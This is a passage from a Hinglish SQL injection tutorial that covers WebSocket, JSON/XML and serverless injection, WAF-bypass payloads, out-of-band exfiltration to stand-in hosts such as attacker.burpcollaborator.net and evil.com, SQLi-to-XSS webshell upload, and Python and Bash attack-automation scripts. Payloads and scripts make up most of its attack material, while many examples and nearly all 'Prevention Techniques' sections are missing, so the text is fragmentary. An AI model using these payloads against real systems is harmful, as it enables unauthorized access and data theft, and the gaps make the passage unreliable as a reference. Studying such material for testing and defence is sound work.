"user": "admin' OR '1'='1"
}
Attacker WebSocket exploit karne ke liye Python ka use kar sakta hai.
import websocket
import json
ws = websocket.WebSocket()
ws.connect("ws://example.com/socket")
payload = json.dumps({
"action": "getUser",
"user": "admin' OR '1'='1"
})
ws.send(payload)
print(ws.recv()) # Check if data is leaked
➡ Effect: Agar response me saare users ka data aata hai, toh WebSocket SQL Injection
successful hai.
🔹 Prevention Techniques
Kahi baar WAF (Web Application Firewall), security filters ya application constraints ke
wajah se SQL Injection payloads ki length restricted hoti hai.
Agar attacker ko full SQLi payload inject karne nahi diya ja raha, toh woh shortened
payloads, encoding, obfuscation ya nested queries ka use karke restriction bypass kar sakta
hai.
Attack Surface:
✅ Web apps jo SQL Injection detect karne ke liye payload length restrict karti hain
✅ Login pages jo username/password field ki length limit karti hain
✅ APIs jo parameter values me character length limit apply karti hain
Kuch applications space (" ") ya special characters block karti hain, lekin comments (/**/)
ka use kiya ja sakta hai.
Example:
admin'/**/OR/**/'1'='1
➡ Yeh normal payload admin' OR '1'='1 ka shortened version hai jo WAF bypass kar
sakta hai.
Kahi baar WAF ya application direct SQL keywords ko block karti hai, par hex encoding
use karke bypass kiya ja sakta hai.
Example:
Normal Payload:
' OR '1'='1
' OR 0x31=0x31
➡ Effect: SQL Engine 0x31 ko 1 me decode karega aur query execute ho jayegi.
✅ 3. Using Boolean Operators to Shorten Payload
Agar OR ya AND ko block kiya gaya ho, toh Boolean expressions ka use karke injection
possible hai.
Example:
admin'='a'='a
➡ Effect: Yeh payload admin' OR '1'='1 ke jaisa hi hai lekin length kam hai.
Agar payload me space (" ") allowed nahi hai, toh parentheses aur double quotes ka use
karke UNION attack possible hai.
Example:
admin'UNION(SELECT(1))
➡ Effect: Yeh payload UNION SELECT attack ko compact form me likhne ka ek tarika hai.
Kahi baar inline comments (--, #, /**/) ka use karke SQL Injection execute kiya ja sakta
hai.
Example:
' OR (SELECT/**/1)=1#
🔹 Prevention Techniques
SQL Injection sirf malicious inputs ke through nahi hoti, balki poorly designed SQL queries
bhi attack surface create kar sakti hain.
Agar SQL queries logical mistakes ya flawed conditions contain karti hain, toh attackers bina
traditional injection payloads ke bhi unauthorized data access kar sakte hain.
Attack Surface:
✅ Login authentication queries
✅ Access control and role-based authorization queries
✅ Search functionality with dynamic SQL queries
✅ E-commerce price calculation queries
Kahi baar developers AND/OR conditions galat tarike se likh dete hain, jisse authentication
bypass possible ho jata hai.
Example:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
➡ Effect: '1'='1' condition hamesha true hoti hai, toh attacker bina valid password ke login
ho sakta hai.
Kuch applications user roles check karne me logical mistakes karti hain, jisse unauthorized
access possible ho jata hai.
Example:
✅ Secure Query:
Example:
Attacker:
➡ Effect: Price 0 ho jayega, aur attacker free me product purchase kar sakta hai.
✅ Secure Query:
Agar SQL query error messages expose kar rahi ho, toh attackers database structure aur
sensitive data leak kar sakte hain.
Example:
✅ Prevention:
🔹 Prevention Techniques
Jab ek application direct database output nahi deti (e.g., Blind SQL Injection scenarios), toh
attackers DNS & HTTP requests ke through data exfiltrate kar sakte hain.
Attackers database se sensitive information (usernames, passwords, API keys) nikalne ke
liye external servers ka use karte hain.
Attack Surface:
✅ Blind SQL Injection cases (No direct error messages or responses)
✅ Restricted database environments (No UNION SELECT, No direct outputs)
✅ Cloud-based apps jo external DNS/HTTP requests allow karti hain
Agar database server DNS queries resolve kar sakta hai, toh attacker exfiltration ke liye
malicious DNS server use kar sakta hai.
➡ Effect: Windows command execution ke through DNS lookup hoga aur attacker ko
password mil jayega.
✅ 2. Extracting Data via Burp Collaborator
Burp Suite ka Collaborator tool use karke bhi Out-of-Band SQL Injection detect aur exploit
kiya ja sakta hai.
Step-by-Step Execution:
1️⃣ Burp Suite Collaborator ko open karein aur ek custom URL generate karein.
2️⃣ Blind SQL Injection payload fire karein jo Collaborator URL ko trigger kare:
SELECT LOAD_FILE('\\\\attacker.burpcollaborator.net\\test');
3️⃣ Agar request Burp Collaborator pe capture hoti hai, toh SQLi successful hai aur external
requests allowed hain.
4️⃣ Ab database data encode karke exfiltrate kiya ja sakta hai (Base64, Hex, etc.).
Agar database server external HTTP requests allow karta hai, toh attacker data ko HTTP
GET/POST request me embed karke exfiltrate kar sakta hai.
➡ Effect: Attacker ke server par usernames & passwords bhej diye jayenge.
🔹 Prevention Techniques
SQL Injection aur Cross-Site Scripting (XSS) dono alag-alag web vulnerabilities hain, lekin
jab dono combine hote hain, toh Stored XSS via SQL Injection ka powerful attack possible
hota hai.
Attack Surface:
✅ Web apps jo user inputs ko database me store karti hain (comments, reviews, feedback
forms, etc.)
✅ Websites jisme stored data ko sanitize kiya bina render kiya jata hai
✅ Admin dashboards jisme user-generated content show hota hai
➡ Attacker SQL Injection ka use karke malicious JavaScript inject karta hai jo database
me store ho jaye.
➡ Jab koi user ya admin page visit karta hai, toh malicious script execute ho jati hai.
🔹 Real-Life Attack Scenario
✅ 1. SQL Injection to Inject XSS Payload
Koi vulnerable blog comment system hai jisme user comments database me store hote hain.
Agar SQL Injection possible hai, toh attacker ek malicious XSS payload inject kar sakta hai.
Attacker injects:
➡ Effect: Jab koi admin page visit karega, toh JavaScript execute ho jayegi.
Agar attacker XSS payload ko refine kare aur session cookies steal kare, toh admin session
hijacking possible ho sakti hai.
Example Payload:
Agar application file uploads allow karti hai, toh attacker SQL Injection se XSS execute
karke webshell upload kar sakta hai.
Example Payload:
➡ Effect: Attacker malicious PHP shell upload kar sakta hai, jo server ka full control de sakti
hai.
🔹 Prevention Techniques
➡ Effect: PHP backdoor upload ho jayega, jo attacker ko remote access de sakta hai.
🔹 2. MSSQL-Specific SQL Injection Techniques
➡ Effect: Agar injection successful hota hai, toh server 10 seconds ke delay se response dega.
➡ Effect: Agar SQL Injection possible hai, toh 5-second delay response me dikhega.
➡ Effect: Agar SQL Injection possible hai, toh server response 5 seconds delay karega.
🔹 Prevention Techniques
Aaj kal modern web applications APIs (JSON & XML) ka use karti hain, jisme traditional
SQL Injection detection mushkil ho sakta hai.
Lekin agar API backend SQL database use kar raha hai aur user input properly sanitize nahi
ho raha, toh JSON aur XML data ke through SQL Injection possible hoti hai.
Jab web applications JSON data process karti hain, agar backend SQL queries raw JSON
input accept kar rahi hain, toh injection possible hai.
➡ Query Backend:
Agar application raw JSON input ko SQL query me directly embed karti hai, toh attack kuch
aisa hoga:
{
"username": "admin'--",
"password": "irrelevant"
}
Effect: Password check bypass ho gaya kyunki -- comment out kar raha hai password
validation ko!
✅ Example 2: Extracting Data with UNION-Based JSON SQLi
{
"username": "admin' UNION SELECT null, database(), null --",
"password": "irrelevant"
}
Agar error messages disable hain, toh time-based SQL Injection use kar sakte hain:
{
"username": "admin' OR IF(1=1, SLEEP(5), 0) --",
"password": "irrelevant"
}
➡ Effect: Agar API response 5 seconds delay karta hai, toh SQLi possible hai!
Agar web application XML data handle kar rahi hai, toh XML payload ke andar SQL
Injection possible hoti hai.
➡ Backend Query:
➡ Query Backend:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'irrelevant';
➡ Effect: Agar API response 5-second delay kare, toh SQL Injection possible hai!
🔹 Prevention Techniques
➡ Issue:
Serverless functions me database calls dynamic parameters ke bina execute ho sakti hain, jo
SQL Injection attacks ke liye vulnerable hota hai.
Agar AWS Lambda DynamoDB ya RDS (Relational Database Service) ke saath connected hai
aur raw input process kar raha hai, toh SQLi ho sakti hai.
➡ Issue: query variable directly user input embed kar raha hai → SQL Injection vulnerable!
🔴 Exploiting Serverless SQL Injection (AWS API Gateway)
Agar attacker API Gateway par malicious payload inject kare, toh SQL Injection ho sakti
hai:
➡ Backend Query:
Agar Google Cloud Functions (GCF) Firebase ya PostgreSQL use kar raha hai, aur direct
string queries execute ho rahi hain, toh SQLi possible hai.
await client.connect();
const query = `SELECT * FROM users WHERE username = '${username}'`;
const result = await client.query(query);
res.send(result.rows);
});
➡ Issue: query string dynamically build ho raha hai → SQL Injection vulnerable!
🔴 Exploiting SQL Injection in Google Cloud Functions
Malicious API Request:
https://us-central1-myapp.cloudfunctions.net/getUser?username=admin' OR
'1'='1
➡ Backend Query:
🔹 Prevention Techniques
Traditional WAF (Web Application Firewall) aur signature-based detection systems SQL
Injection attacks ko detect karne me helpful hote hain, lekin AI aur Machine Learning (ML) ka
use karke SQLi detection aur prevention aur bhi powerful ban sakti hai.
➡ Problem:
Traditional security solutions pattern-based detection use karte hain, jo zero-day SQL
Injection attacks ko detect nahi kar sakte.
➡ ✅ Solution:
AI/ML models behavior-based analysis use karte hain, jo anomalous SQL queries ko detect
kar sakte hain aur automatically new attack patterns seekh sakte hain.
🔹 AI-Based SQL Injection Detection Methods
1⃣ Anomaly Detection Model
AI normal SQL queries ka pattern learn karta hai aur agar koi anomalous query detect hoti
hai, toh SQL Injection ka suspicion hota hai.
✅ Example:
SELECT * FROM users WHERE username = 'admin' UNION SELECT password FROM
users;
➡ AI Model recognize karega ki normal queries me UNION SELECT ka use nahi hota,
isliye ye suspicious ho sakta hai!
ML models ko SQL Injection aur normal queries ka labeled dataset dekar train kiya jata hai,
taki ye predict kar sake ki ek query malicious hai ya nahi.
✅ Example:
➡ Model ko train karne ke baad, agar koi new SQL query input hoti hai, toh ML model
predict karega ki wo attack hai ya nahi!
3⃣ Natural Language Processing (NLP) for SQL Injection
AI models NLP techniques ka use karke SQL syntax aur injection payloads ko understand
kar sakte hain.
➡ AI model recognize karega ki -- comment symbol SQL Injection ka sign ho sakta hai!
Legacy systems wo old applications hote hain jo outdated databases, frameworks, aur
security practices use karte hain. Inme SQL Injection zyada common hoti hai, kyunki ye
applications modern security measures implement nahi karti.
➡ Problem:
$username = $_GET['username'];
$password = $_GET['password'];
➡ Issue: mysql_query() direct input execute karta hai, jo SQL Injection allow karta hai!
➡ Old MSSQL versions me ye buffer overflow exploit SQL Injection ka ek example hai.
➡ Result: SQLmap pura database dump kar sakta hai, kyunki WAF ya security layer
absent hai!
http://legacyapp.com/item.php?id=1' AND
1=UTL_INADDR.GET_HOST_ADDRESS('evil.com') --
➡ Effect: Oracle 8i SQLi vulnerability ka use karke attacker apni malicious domain se data
le sakta hai
SQL Injection attacks ko manual testing se exploit karna time-consuming ho sakta hai. Isliye
attackers, penetration testers, aur bug bounty hunters automation tools aur custom scripts ka
use karte hain SQL Injection detect aur exploit karne ke liye.
➡ Problem:
➡ ✅ Solution:
SQLmap ek powerful open-source SQL Injection tool hai jo databases ko detect, exploit, aur
dump karne me madad karta hai.
➡ Effect: SQLi payloads ko obfuscate karke WAF bypass kiya jata hai
Agar SQLmap detect ho jaye ya ineffective ho, toh custom Python scripts ka use kiya jata hai
manual SQL Injection exploit karne ke liye.
import requests
target_url = "http://target.com/index.php?id="
payloads = ["1' OR '1'='1", "1' UNION SELECT null, username, password FROM
users--"]
➡ Effect: Website ka response check karke detect karega ki SQLi vulnerability exist karti
hai ya nahi!
🔹 3. Custom Bash Script for SQL Injection Automation
Bash scripting se automated SQLi attacks launch kiye ja sakte hain jo pentesting aur CTF
challenges me useful hote hain.
#!/bin/bash
TARGET="http://target.com/index.php?id="
for payload in "' OR '1'='1" "' UNION SELECT username, password FROM users--
"; do
RESPONSE=$(curl -s "$TARGET$payload")
if [[ $RESPONSE == *"Welcome"* ]]; then
echo "[+] SQL Injection Successful: $payload"
fi
done
✔ Common SQL Injection Payloads WAF easily detect kar leti hai
✔ Obfuscated aur encoded payloads use karke bypass kiya jata hai
' OR '1'='1' --
➡ Effect: /*!50000UNION*/ syntax WAF evade karne ke liye use hota hai
✅ AI-Powered Security Tools jo real-time SQL Injection detection aur prevention kar
sakte hain:
✔ Deep Learning Models for SQL Injection Detection
✔ Self-Learning AI WAF (Cloudflare, ModSecurity AI)
✔ Anomaly Detection Using Neural Networks
vectorizer = CountVectorizer()
X = vectorizer.fit_transform(queries)
model = RandomForestClassifier()
model.fit(X, labels)
➡ Effect: AI model automatically detect karega ki SQL query malicious hai ya nahi!
🔹 Summary
✅ SQL Injection attacks ko automate karne ke liye SQLmap, Python & Bash scripts use
kiye jate hain
✅ Custom payloads aur encoding techniques WAF bypass karne me help karte hain
✅ AI aur Machine Learning SQLi detection aur prevention ko aur powerful bana sakte
hain